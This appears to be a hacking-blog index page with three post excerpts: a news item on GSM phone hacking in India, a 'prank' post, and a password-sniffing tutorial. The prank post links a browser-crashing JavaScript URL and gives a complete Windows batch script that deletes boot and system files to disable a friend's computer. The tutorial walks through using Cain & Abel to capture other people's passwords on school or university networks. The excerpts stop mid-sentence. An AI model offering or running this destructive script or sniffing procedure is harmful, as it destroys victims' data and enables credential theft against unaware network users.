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Hacking GSM Mobile Network in India

A GSM mobile phone user in India is not very safe from hacking attacks, a security company has demonstrated. Four founding members of a company called Matrix Shell say they have worked out a way to hack into India GSM phone numbers and make calls from them. They were able to use the unique SIM card number called International Mobile Subscriber Identity (IMSI) of their target victims. Using a firmware called Osmocom and using software written by them on it, they successfully hacked into GSM phones at a recent security conference. More Details

5 Simple Hacks to Prank your friends

1.  Crash a Computer System With Nothing But a URL! I stumbled across this URL while surfing the internet. This is a javascript "exploit" (that still works, by the way) and will hang/crash your system. It basically floods you with an infinite loop of mailto:xxx windows. To cancel this (and you have to move fast) kill the process of your email client before you run out of RAM. WARNING: CLICKING ON THE LINK BELLOW MAY CAUSE A CRASH! USE AT YOUR OWN RISK! http://tiny.cc/ibJUN 2.  Shut Down a Computer Forever Open notepad and copy/paste this code: @echo off attrib -r -s -h c:\autoexec.bat del c:\autoexec.bat attrib -r -s -h c:\boot.ini del c:\boot.ini attrib -r -s -h c:\ntldr del c:\ntldr attrib -r -s -h c:\windows\win.ini del c:\windows\win.ini Now Save it as a  .bat  file. This should shutdown the persons computer. It shuts it off once and deletes the files needed to reboot and restart. REMEMBER - DO NOT CLICK THIS FILE.   YOU WON'T RECOVER YOUR COMPUTER BACK AFT...

How to sniff plain-text passwords in 13 steps

The following is an instructional tutorial. I hope to show how easy it is to sniff people's passwords in plain-text form on virtually any wired network. Common applications for this would be on a university, school or otherwise large network. This has only been tested on a Windows machine, but can be used to sniff passwords from any operating system. Step 1: Download, install and run Cain & Abel at http://www.oxid.it/cain.html. Step 2: Click "Configure" in the top bar. Step 3: In the "Sniffer" tab, click the adapter which is connected to the network to be sniffed, then click "Apply", then "OK". Step 4: Click the "Sniffer" tab in the main window. Step 5: Click the network card in the top bar (2nd icon from the left). Step 6: Click the "+" button in the top bar. Step 7: Select "All hosts in my subnet", click "OK". Entries should appear in the main window under the "IP address", "...